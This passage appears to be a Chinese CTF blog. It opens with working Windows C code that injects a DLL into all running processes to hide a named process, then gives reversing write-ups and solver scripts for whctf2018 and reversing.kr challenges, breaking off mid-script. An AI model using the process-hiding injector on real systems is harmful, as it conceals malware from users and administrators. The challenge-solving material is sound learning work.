wprintf(L"OpenProcessToken Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
wprintf(L"LookupPrivilegeValue Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
tp.PrivilegeCount=1;
tp.Privileges[0].Luid=luid;
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
}
else
{
tp.Privileges[0].Attributes=0;
}
//Enable the privilege开启或关闭权限
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
wprintf(L"AdjustTokenPrivileges Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

BOOL InjectDllW(DWORD dwPID,LPCTSTR szDllPath)
{
HMODULE hMod = NULL;
HANDLE hProcess,hThread;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize=(DWORD)((wcslen(szDllPath)+1) * sizeof(TCHAR));
LPTHREAD_START_ROUTINE pThreadProc;
__try{
if(!(hProcess = OpenProcess((PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE),FALSE,dwPID)))
{
wprintf(L"OpenProcess(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
if(!(pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE)))
{
wprintf(L"VirtualAllocEx(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
if(!(WriteProcessMemory(hProcess,pRemoteBuf,LPCVOID(szDllPath),dwBufSize,NULL)))
{
wprintf(L"WriteProcessMemory(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
if(!(hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL)))
{
wprintf(L"CreateRemoteThread(%d) Failed!CODE(%d)\n",dwPID,GetLastError());
return FALSE;
}
WaitForSingleObject(hThread,INFINITE);
}
__finally{
if(pRemoteBuf != NULL)
{
VirtualFreeEx(hProcess,pRemoteBuf,0,MEM_RELEASE);
}
if(hThread != NULL)
{
CloseHandle(hThread);
}
if(hProcess != NULL)
{
CloseHandle(hProcess);
}
}
return TRUE;
}

BOOL EjectDllW(DWORD dwPID,LPCTSTR szDllPath)
{
BOOL bMore = FALSE,bFound = FALSE;
HANDLE hSnapShot,hProcess,hThread;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me;
me.dwSize = sizeof(me);
if(INVALID_HANDLE_VALUE ==
(hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwPID)))
{
return FALSE;
}
//获得某一进程的载入模块
bMore = Module32First(hSnapShot,&me);
for( ;bMore;bMore = Module32Next(hSnapShot,&me))
{
if(!_tcsicmp(me.szModule, szDllPath) ||
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if(!bFound)
{
CloseHandle(hSnapShot);
return FALSE;
}
if(!(hProcess = OpenProcess((PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE),FALSE,dwPID)))
{
CloseHandle(hSnapShot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"FreeLibrary");
hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,me.modBaseAddr,0,NULL);
WaitForSingleObject(hThread,INFINITE);
if(hThread != NULL)
{
CloseHandle(hThread);
}
if(hProcess != NULL)
{
CloseHandle(hProcess);
}
CloseHandle(hSnapShot);
return TRUE;
}


BOOL WINAPI InjectDllA(DWORD dwProcessId, PCSTR pszLibFile) {

// Allocate a (stack) buffer for the Unicode version of the pathname
SIZE_T cchSize = lstrlenA(pszLibFile) + 1;
PWSTR pszLibFileW = (PWSTR)
_alloca(cchSize * sizeof(wchar_t));

// Convert the ANSI pathname to its Unicode equivalent
StringCchPrintfW(pszLibFileW, cchSize, L"%S", pszLibFile);

// Call the Unicode version of the function to actually do the work.
return(InjectDllW(dwProcessId, pszLibFileW));
}

BOOL WINAPI EjectDllA(DWORD dwProcessId,PCSTR pszLibFile)
{
// Allocate a (stack) buffer for the Unicode version of the pathname
SIZE_T cchSize = lstrlenA(pszLibFile) + 1;
PWSTR pszLibFileW = (PWSTR)
_alloca(cchSize * sizeof(wchar_t));

// Convert the ANSI pathname to its Unicode equivalent
StringCchPrintfW(pszLibFileW, cchSize, L"%S", pszLibFile);

// Call the Unicode version of the function to actually do the work.
return(EjectDllW(dwProcessId, pszLibFileW));
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
HANDLE hSnapShot;
DWORD dwPID;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,NULL);
if(hSnapShot == NULL)
{
wprintf(L"CreateToolhelp32Snapshot Failed!Code(%d)\n",GetLastError());
return FALSE;
}
Process32First(hSnapShot,&pe);
do
{
// if(pe.th32ProcessID == ((DWORD)5884))#改了就可以单独对某一进程进行注入了
// {
dwPID = pe.th32ProcessID;
if(dwPID < 100)//System Process
continue;
if(nMode == INJECTION_MODE)
{
InjectDll(dwPID,szDllPath);
}
else
{
EjectDll(dwPID,szDllPath);
}
// }
}while(Process32Next(hSnapShot,&pe));
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc,TCHAR *argv[])
{
int nMode = INJECTION_MODE;
HMODULE hLib = NULL;
PFN_SetProcName SetProcName = NULL;
if(argc != 4)
{
wprintf(L"USAGE: %s <-hide|-show> <process name> <dll_path>\n",argv[0]);
return 1;
}

if(!SetPrivilege(SE_DEBUG_NAME,TRUE))
{
return 1;
}
// load library
hLib = LoadLibrary(argv[3]);

// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);
//利用自己写的dll的导出表,虽然后面并没有用到。。。
if(wcscmp(argv[1],L"-hide"))
{
nMode = EJECTION_MODE;
}
if(InjectAllProcess(nMode,argv[3]))
{
wprintf(L"InjectAllProcess Succeed!\n");
return 1;
}

return 0;
}

whctf2018

(⊙﹏⊙),记录下本辣鸡这次whctf自己做的题目,然后等待wxy191大佬解决wbeas这道题的侧信道攻击方法,希望快点出writeup。

misc

py-py-py

首先是用uncompyle6反编译pyc文件,得到一个rc4的加密解密脚本,根据脚本解密得到提示The challenge is Steganography,是pyc隐写,百度到在pyc中隐藏payload的工具stegosaurus。使用工具得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sys
import os
import hashlib
import time
import base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
#fllag = 'The challenge is Steganography'
def crypto(string, op, public_key, expirytime):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))

for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
raw_input()
print result,op
if op == 'decode':
if not result[0:10] == '0000000000':
if int(result[0:10]) - int(time.time()) > 0:
if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
print result[26:]
return result[26:]
else:
return keyc + base64.b64encode(result)


if __name__ == '__main__':
while True:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode','ddd',0):
print('Success')
break
else:
continue
# okay decompiling ../../5061c764-2ac4-4386-afd0-2f7a69139efa.pyc

flag: Flag{HiD3_Pal0ad_1n_Python}

REVERSE && Mobile

CrackMe

MFC程序,xspy或者Resource_Hacker定位关键函数,如下图:

MFC

flag: The-Y3ll0w-turb4ns-Upri$ing

EASYHOOK

程序hook了writefile函数,找到hook的函数,即是关键函数,如下图,跑脚本,奇数位和偶数位的字符拼在一起就是flag。

EASYHOOK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
#-*- coding:utf-8 -*-

compare_table =[0x61,0x6A,0x79,0x67,0x6B,0x46,0x6D,0x2E,0x7F,0x5F,0x7E,0x2D,0x53,0x56,0x7B,0x38,0x6D,0x4C,0x6E]
test = ['f','l','a','g','{','H','o','0','k','_','w','1','t','h','_','F','u','n','}']
ans = ''

for i in range(19):
for ch in range(32,127):
if i == 18:
tmp = ch ^ 0x13
if tmp == compare_table[18]:
ans += chr(ch)
break
else:
if (i % 2): #偶数位
temp = ch - i
if((i ^ temp) == compare_table[i]):
ans += chr(ch)
break
else: #奇数位
print chr(compare_table[i] ^ i),
break


print ans
print ''.join(test)

BABYRE 200

程序在开始之前解密了加密的函数,即统统异或0xc,编写IDC脚本手动还原代码

1
2
3
4
5
6
7
8
9
10
#include <idc.idc>
static main()
{
auto a = 0x600b00;
auto i;
for (i=0; i<0xb5;i++)
{
PatchByte(a+i,Byte(a+i)^0xc);
}
}

得到check代码,check非常简单,即将输入的字符与其字符串下标异或后与已知字符串对比。写脚本得到flag。

flag: flag{n1c3_j0b}

FINDMYMORSE

看了半天java代码,什么都没发现,看native层,有个main函数,搜索字符串,找到”Congratulations! You got the right sequence”位置,对程序进行分析,上网查阅了几个不认识的androidAPI,关于MouseEvent的getAction操作,mouse_down是0,mouse_up是1,那么gettimeofday在mouse_down时记录一次时间,在mouse_up中记录一次时间,两次的差值和一个临界值比较,这个临界值我也没管,反正最终导致后面和硬编码的比特位异或,每次异或的值要为0。硬编码字符串的选择规则如下:
一共循环224次,28个字节,4个为一组,间隔7字节,每次把每一组的4个字节的比特位按照从低到高循环取位的原则,重新得到一个比特位字符串。猜测第一个字符位’f’,和得到得到新比特位字符串比较,发现是7个比特位组成一个字符,于是得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#-*- coding:utf-8 -*-

compare_table = [0xA7,0xD6,0x61,0xB5,0x6E,0xBB,0xBA,0xE3,0xA9,0xDD,0xC4,0x77,0x6F,0xEE,0xEC,0xFF,0x62,0xC3,0xCF,0xDA,0x53,0xCE,0xFF,0x71,0x71,0x14,0xFF,0xF2]

right_Sequence = ''
ans = ''

for num in range(224):
tmp = 7 * (num % 4) + num / 32
mov_bit = (num / 4) % 8
bit = (compare_table[tmp] >> mov_bit) & 1
right_Sequence += chr(bit + 0x30)

print right_Sequence

#for i in range(len(right_Sequence)):
#print bin(ord('f'))

for i in range(len(right_Sequence)/7):
tmp = right_Sequence[i*7:i*7+7]
ans += chr(int(tmp,2))
print ans

flag: flag{no7_tHE_Re@L_MoRsE_/o/2z2z}

reversing.kr

觉得revering.kr上面的题目有些设计得很有意思,加上自己也需要时刻练习,于是决定来做做看。

Easy_Crack

直接拖进ida,进入DialogFunc,WM_COMMAND分支的函数,发现是明文的比较
flag: Ea5yR3versing

Easy_KeygenMe

根据ReadMe.txt,是根据Serial推Name,程序拖入ida,一个简单的算法,对username进行0~2的循环异或,以十六进制打印进buffer里,然后和Serial比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
#-*- coding:utf-8 -*-

serial = '5B134977135E7D13'
ans = ''
xor = [16,32,48]

for i in range(len(serial)/2):
tmp = serial[:2]
tmp = int(tmp,16)
tmp ^= xor[i%3]
ans += chr(tmp)
serial = serial[2:]
print ans

flag: K3yg3nm3

Easy_UnpackMe

这道题目,额,我觉得比较坑,原因是我不造flag要提交什么?
题目流程:首先是输入表重建,然后恢复原oep,即.text段,进入oep,然后进入winmain函数执行,winmain里就是建立一个方框,然后处理消息循环。
然而,始终不明白flag是什么,将内存dump下来,扔ida查看,也发现不了什么有用的东西。最后,flag竟然是oep,orz!
flag:00401150

Music_player

程序是用vb写的,对vb不是很熟悉,但是有弹对话框,上网查vb api,对rtcmsgbox下断,向上回溯,发现EA60即60000,猜测就是1分钟的原因。改值,运行,弹出Run-time error ‘380’:Invalid property value,对RaiseException下断,然后在栈中回溯,找到程序代码,向上查看,改判断条件jge为jle,另存为文件,运行得flag。
flag: LIstenCare

vb:对vbaLenstr,vbastrcmp,vbastrcpy,rtcmsgbox下断

Replace

程序拖进ida,静态不好分析,动态调试,对GetDlgItemInt下断,由于多处call指令,导致栈上返回地址的分布不再正常,之后将运算后的值保存在eax里,对eax内存写(程序非法访问的原因)。写入的值是90,即nop,发现对401071处2个字节码改写即可输出correct(一开始注意到了E8即call,想到会不会call到输出corret的地方,但是无法和90联系。后来又看到最后的retn,想retn到输出位置,发现retun的地方是动态链接库的地址,也没法修改)。

1
2
3
4
5
6
7
8
9
10
11
#include<Windows.h>
#include<stdio.h>

int main()
{
DWORD a = 0x601605CB;
DWORD ans = 0xFFFFFFFF - a + 1 + 0x401071;
printf("%u\n",ans);
system("pause");
return 0;
}

flag: 2687109798

ImagePrc

根据对话框显示,对MessageBox下断,向上回溯,发现LoadResource,使用Resource Hacker打开程序,发现一个文件。动态调试程序,在LoadResource后下断,发现Load的文件和资源中一致,且未发生改动,而后直接使用资源与另一地址处内容比较。再次运行程序,发现是一个绘图程序,猜测资源里的应该是标准图像。使用PIL库求解。
ImagePrc

1
2
3
4
5
6
7
8
9
10
from PIL import Image

width = 200
height = 150

fp = open('resource', 'rb')
data = fp.read()
im = Image.frombytes('RGB', (width, height), data)
im = im.transpose(Image.FLIP_TOP_BOTTOM)
im.save('result.jpg','jpeg')

flag: GOT

Position

用C++写的MFC程序,程序使用CSimpleString类的GetAt方法获得对应下标的字符,用户名的前两个字符作运算以后和密码的前五个字符作比较,后两个字符作运算以后和密码的后五个字符作比较。我使用爆破的方式求解,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!usr/bin/env python
#-*- coding:utf-8 -*-

s = '76876-77776'
s1,s2 = s.split('-',1)
ans = ''

for u1 in range(97,123):
for u2 in range(97,123):
for u3 in range(97,123):
for u4 in range(97,123):

u1_1 = (u1 & 1) + 5;
u1_5 = ((u1 >> 4) & 1) + 5;
u1_2 = ((u1 >> 1) & 1) + 5;
u1_3 = ((u1 >> 2) & 1) + 5;
u1_4 = ((u1 >> 3) & 1) + 5;

u2_1 = (u2 & 1) + 1;
u2_5 = ((u2 >> 4) & 1) + 1;
u2_2 = ((u2 >> 1) & 1) + 1;
u2_3 = ((u2 >> 2) & 1) + 1;
u2_4 = ((u2 >> 3) & 1) + 1;

u3_1 = (u3 & 1) + 5;
u3_5 = ((u3 >> 4) & 1) + 5;
u3_2 = ((u3 >> 1) & 1) + 5;
u3_3 = ((u3 >> 2) & 1) + 5;
u3_4 = ((u3 >> 3) & 1) + 5;

u4_1 = (u4 & 1) + 1;
u4_5 = ((u4 >> 4) & 1) + 1;
u4_2 = ((u4 >> 1) & 1) + 1;
u4_3 = ((u4 >> 2) & 1) + 1;
u4_4 = ((u4 >> 3) & 1) + 1;

if (u1_1 + u2_3 == ord(s1[0]) - ord('0') and u1_4 + u2_4 == ord(s1[1]) - ord('0') and u1_2 + u2_5 == ord(s1[2]) - ord('0') and u1_3 + u2_1 == ord(s1[3]) - ord('0') and u1_5 + u2_2 == ord(s1[4]) - ord('0') and u3_1 + u4_3 == ord(s2[0]) - ord('0') and u3_4 + u4_4 == ord(s2[1]) - ord('0') and u3_2 + u4_5 == ord(s2[2]) - ord('0') and u3_3 + u4_1 == ord(s2[3]) - ord('0') and u3_5 + u4_2 == ord(s2[4]) - ord('0')):
ans = chr(u1) + chr(u2) + chr(u3) + chr(u4)
if ans[3] == 'p':
print ans

得到4组解:bump cqmp ftmp gpmp,一开始提交的ftmp,发现不对,但是程序是显示correct的,换bump提交成功!

flag: bump

Direct3D_FPS

一个射击游戏,用ida打开FPS.exe程序,搜索字符串,发现Game Clear!字符串,如果成功,某个地址间隔132的数组里的值要全不为1,对该数组交叉引用,发现置数组中值为0的位置,结合玩游戏的过程,猜测数组dword_409194为我们射击的对象,monster,数组dword_409190为monster_life,射击对象的生命值,每射中一次,减2的生命,将一次减2的生命改成减100(怪物生命100),每死一只怪物,程序对最后打印的加密字符串byte_407028解密一个字符。修改完程序,进行游戏,把怪物全部杀死,发现字符串并没有解密完,还差最后两个字符,应该怪物都杀死了,想不到其他点,由于是简单的异或,于是在动态调试下手解最后两个字符,得到0和m,把解密的字符串拼起来,得到flag。

flag: Thr3EDPr0m

ransomware

run.exe加密了file文件,用ida打开,要解析很长时间(401000处代码不用管),直接看对文件操作的部分,程序对file文件进行了循环的密钥异或,但是程序里没有密钥,十六进制工具打开file,观察文件结尾是循环的字节,猜测文件结尾原来都是00,写脚本得解密密钥letsplaychess,运行run.exe解密文件,解密后的文件是一个可执行文件,运行得flag。

flag: Colle System

Easy ELF

确实很easy……直接拖入ida,不是明文比较就是简单异或。

flag: L1NUX

Twist1

使用单步向下的方法,od手拖外面的壳后,用ida查看,发现之后的代码是被动态加密的,还是只能用od调试。逆向过程中碰到大量的自解代码,花指令,一些变化栈的call,retn等操作,还有反调试,给我的印象就是:程序代码分散式地干扰逆向者,会比较花费逆向者的时间,password的比较倒比较简单,不过也是分散开来的,都是一些简单的异或比较,和移位比较。出题人的手法很值得学习,汇编指令是相当的熟啊!逆向过程只要使用od一直往下调,下了断点的地方,在执行以后,记得取消断点,碰到程序异常退出,就退回去找条件分支,改判断条件就行,记得改了之后还要改回来,说不定程序在哪又检测了呢?或者是改地址处的字节码呢?

flag: RIBENA

WindowKernel

使用管理员权限运行程序,开启enable按钮,往对话框输入时的处理在sys文件里,根据DeviceIoControl的第二个参数dwIoControlCode,当dwIoControlCode为0x2000时,进行check操作,在sys文件里alt + I 搜索0x2000,找到关键返回值的地方,对dword_13024交叉引用,找到了三层算法处理过程,并不复杂,每次从READ_PORT_UCHAR读一个字符,放到al里,调试的时候找到DriverEntry,然后一路跟进,在这里下断点就好,整理出一个a-z的table表,写脚本得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
#-*- coding:utf-8 -*-

index = {0x9e:'a',0xb0:'b',0xae:'c',0xa0:'d',0x92:'e',0xa1:'f',0xa2:'g',0xa3:'h',0x97:'i',0xa4:'j',0xa5:'k',0xa6:'l',0xb2:'m',0xb1:'n',0x98:'o',0x99:'p',0x90:'q',0x93:'r',0x9f:'s',0x94:'t',0x96:'u',0xaf:'v',0x91:'w',0xad:'x',0x95:'y',0xac:'z'}
compare_table1 = [0xA5,0x92,0x95,0xB0,0xB2,0x85,0xA3,0x86,0xB4,0x8F,0x8F,0xB2]
ans = ''

for i in range(len(compare_table1)):
if i > 3 and i <= 7 :
compare_table1[i] ^= 0x12
elif i > 7:
compare_table1[i] ^= 0x12
compare_table1[i] ^= 0x5

for j in range(len(compare_table1)):
tmp = index[compare_table1[j]]
ans += tmp

print ans

flag: keybdinthook

之前不会内核调试,这道题还是学会了很多的,23333!

AutoHotKey1

根据提示,需要找到两个md5值,然后解密。upx脱壳,运行出现”EXE corrupted”,搜索字符串,定位sub_4508C7这个函数,进入分析,程序取了自身的最后8个字节。验证的第一关,进行计算后的4个字节的值异或0xAAAAAAAA要与取的最后8个字节中后4个字节相同,然后以取的最后8个字节中前4个字节为偏移,从程序开头偏移前4个字节的大小,取16个字节和程序一处硬编码的值A3484BBE986C4AA9994C530A86D6487D比较。
AutoHotKey1
比较成功则解密一串16进制值,得到第一串md5值:220226394582d7117410e3c021748c2a,网上解密得isolated。我们只要在程序里搜索那串比较的十六进制值,然后将其偏移填在最后8-5字节的位置,然后根据程序计算结果得到最后4字节,覆盖原来的最后4字节即可通过第一关。
再次运行,可以进行输入,使用Resource_hacker定位id为201的对话框,在ida中找到GetDlgItemText下断。
AutoHotKey2
对存储字符串的buffer下读写断点,f9运行,程序自行断下,发现了一串比较的md5值:54593f6b9413fc4ff2b4dec2da337806,解密得pawn。拼起来就是flag,开始拼反了,提交了不对,orz。

flag: isolated pawn

CSHOP

额,这道题,只想用3个英文字母代替我现在所有的心情->orz!程序是一个.net程序,使用Reflector打开,对代码进行反编译,找到_Click(Object,EventArgs),发现一些字符串,运行程序,敲击回车或者空格,出来一串字符串,但是它竟然就是flag。

flag: P4W6RP6SES

PEpassword

这道题出的还是很有想法的,只是我的大脑没有转过弯来,对WM_COMMAND下断点,找到了消息处理函数,发现了esi存储着我们输入的字符串,对字符串下硬件访问断点,发现了对字符串的处理过程。程序根据我们的输入,进行了一个运算,运算结果要与一个4字节相等,jne改成je过了这个check,因为爆破基本不现实,后面两次运算,一次产生我们后面解密401000处代码用到的ebx,一次产生eax,如果输入的字符串正确,就能实现对401000处代码的正确解密,得到password。一开始想到爆破不可能,基本没有了思路,卡了很长时间。后来猜测origin.exe的开头字节可能就是解密后的字节,而加密以后的我们是知道的,二者进行简单的异或,就可以得到第一次的eax和以后正确的eax值,通过第一次正确的eax和第二次正确的eax,我们可以爆破第一次正确的ebx,从而更改寄存器的值,让401000处代码正确解密。获取第一次正确的ebx代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
#include<Windows.h>

int main(int argc,char *argv[])
{
BYTE cipher[8] = {0x17,0x2E,0xE6,0xB6,0x05,0x7E,0x0C,0x0D};
BYTE plaintext[8] = {0x81,0xEC,0x4C,0x01,0x00,0x00,0x56,0x57};
BYTE eax_byte[8] = {0,};
for(int i=0;i<8;i++)
{
eax_byte[i] = cipher[i] ^ plaintext[i];
}
DWORD *eax_dword = (DWORD *)eax_byte;
DWORD first_eax = eax_dword[0];
DWORD second_eax = eax_dword[1];
printf("%X %X\n",first_eax,second_eax);
DWORD eax_value = 0;
for(int i=1;i<0xFFFFFFFF;i++)
{
//printf("0x%X\n",i);f
__asm
{
mov eax,first_eax
mov ebx,i
mov cl,al
rol ebx,cl
xor eax,ebx
mov cl,bh
ror eax,cl
add ebx,eax
mov eax_value,eax
}
if(eax_value == second_eax)
{
printf("0x%X\n",i);
}
}
system("pause");
return 0;
}
//ebx
//0xA1BEEE22
//0xC263A2CB
//eax
//0xB7AAC296

PEpassword1

爆破结果有两组值,第二组0xC263A2CB正确,得到flag。

PEpassword2

flag: From_GHL2_!!

HateIntel

mach-o文件,arm架构,使用ida打开,可以反编译,搜索字符串”Input key”,简单的逻辑运算,然后作比较,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdio.h>
#include<Windows.h>
#include<string.h>

int main()
{
char ans[29] = {0,};
int j;
BYTE compare_Byte[29] = {0x44,0xF6,0xF5,0x57,0xF5,0xC6,0x96,0xB6,0x56,0xF5,0x14,0x25,0xD4,0xF5,0x96,0xE6,0x37,0x47,0x27,0x57,0x36,0x47,0x96,0x03,0xE6,0xF3,0xA3,0x92,0x00};
for(int i=0;i<29;i++)
{
for(int x=32;x<127;x++)
{
j = x;
//printf("%d\n",j);
for(int q=0;q<4;q++)
{
j = j << 1;
if(j & 0x100)
{
j |= 1;
}
}
//system("pause");
if((unsigned __int8)j == compare_Byte[i])
{
printf("%d: %c\n",i,x);
strcat(ans,(char *)&x);
break;
}
}
}
printf("%s\n",ans);
system("pause");
return 0;
}

flag: Do_u_like_ARM_instructi0n?:)

AutoHotKey2

这道题目和AutoHotkey1的思路一样,修改了pe文件之后,直接运行,出现冰与火之歌的一段描述,让你根据描述猜这个人是谁,百度一下知道是琼恩·雪诺,答案就是这个人名字的小写,去掉空格。

jonsnow

flag: jonsnow

SimpleVM

这道题目还是让自己涨了不少姿势,没有白忙活!23333,首先是linux下的加壳程序,让它直接运行,ida远程attach,然后dump代码段的内存,dump代码如下:

1
2
3
4
5
6
7
8
9
10
11
#include <idc.idc>

static main(void)
{
auto i,fp;
fp = fopen("f:\\dump.dex","wb");
for(i=0x8048000;i<0x804C000;i++)
{
fputc(Byte(i),fp);
}
}

虽然以前就知道idc和python的ida脚本,但是都很少用,这次需要dump内存,Windows系统下dump内存工具很多,但是linux我就不是很熟悉了,想到用ida去dump内存,dump下来的代码段没有VM加壳,庆幸只有外层加了,23333。简单分析了一下程序,程序需要root权限,fork了子进程和父进程,利用管道进行交互,子进程得到输入的数据,然后写到管道里,父进程从管道里读数据,进行验证。
首先,我尝试去分析代码的逻辑,脑补之后发现这个200大小的数组,我实在是看不出他是什么规律,也不像是迷宫之类的东西,但是密钥长度一定小于等于7(个人脑补的结论)。想了想,想尝试爆破,把代码copy了放到vs上跑,果然跑不出来,光是跑遍5位的密码就已经吃力得不行了。果断放弃。上网搜索题解,发现了他人的思路是pintools边信道攻击,下面的笔记主要是记录一下边信道攻击。

pintools边信道攻击利用原理

pintools之前就接触过,但是没想过能利用到CTF上面来,自己学习pintools也就想到能直接打印内存,绕过反调试之类的,感觉用处不是很大,还不如直接用ida动调,觉得这个动态插桩工具好像没法应用到CTF上来,不过,这题着实让自己开眼了!
刚接触pintools的人都知道,pintools最简单的一个示例就是指令计数,但是思维也仅限于指令计数而已,但是边信道攻击很巧妙,恰恰利用了这个最简单的用法。如果程序的check是一个一个字符的情况,每通过一个字符或者一部分字符就能继续执行下去,那么程序执行的指令数必然会有大的增加,而pintools就可以通过执行指令数的激增来判断输入的字符是否是正确的字符,从而一个个字符地爆破,把很大数量级的爆破问题化解成为从前往后验证字符每一位的问题,而一个字符的范围不过10的平方而已。利用这个原理,写脚本进行爆破,最终得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import popen2,string

INFILE = "fx"
CMD = "./pin -t source/tools/ManualExamples/obj-ia32/inscount1.so -- ./SimpleVM <" + INFILE

def execlCommand(command):
fin,fout = popen2.popen2(command)
result1 = fin.readline()#获取程序自带打印信息,wrong或者correct
print result1
result2 = fin.readline()#获取pintools打印的信息
print result2
fin.close()

choices = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\]^_`{|}~"

def writefile(data):
f = open(INFILE,'w')
f.write(data)
f.close()

for entry in range(0,len(choices)):
key = 'i' + choices[entry:entry+1]#一个一个字符测试
print ">",key
writefile(key)
execlCommand(CMD)

爆破过程如下图:

SimpleVM1
SimpleVM2
SimpleVM3
SimpleVM4
SimpleVM5
SimpleVM6
SimpleVM7

flag: id3*ndh

x64 Lotto

64位的windows程序,拖入ida简单分析,输入的6个数和随机产生的6个数比较,这里直接patch掉就好,如下图:

Lotto1

后面对硬编码的字符进行两次异或处理,然后自动输出结果,所以我们只需要简单patch程序,然后自动运行就可以得到flag。

Lotto2

flag: from_GHL2_-_!

Csharp

用dnspy打开.net程序,点击main函数里的form1()函数,功能是对MetMett方法进行解密(由于直接点击MetMett函数,显示反编译错误),需要动态执行,解密MetMett方法。在MetMetMet方法里取了我们输入的字符串,作base64encode然后进行了一次比较,比较的东西应该就在加密的方法里。使用dnspy动态调试,在解密完的地方下断,应该就能看到解密完的函数。但是我都dnspy看不到MetMetM方法的指针,没法直接找到解密以后的内存,很是尴尬,于是只有手动找解密的开头和结尾,将加密的部分抠出来,然后用脚本解密,再粘贴到MetMetM的方法上覆盖,保存文件,重新使用dnspy打开,看到比较的代码,写脚本获得flag,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import base64

origin = '028D681E0B3FDEFFFFFF0115179B0215901F8FFFFFFF601E492D030115169B0218901F8FFFFFFF601E452D030115169B0216901F8FFFFFFF601E562D030115169B0217901F8FFFFFFF601E4C2D030115169B021E0A901F8FFFFFFF601E2B2D030115169B021D901F8FFFFFFF601FF0FFFFFF2D030115169B0219901F8FFFFFFF601E1C2D030115169B021A901F8FFFFFFF601E302D030115169B021E08901F8FFFFFFF601FE1FFFFFF2D030115169B021C901F8FFFFFFF601FEDFFFFFF2D030115169B021E09901F8FFFFFFF601FA2FFFFFF2D030115169B021B901F8FFFFFFF601E742D030115169B29'

new_change = []
sum = 0
for i in range(len(origin)/2):
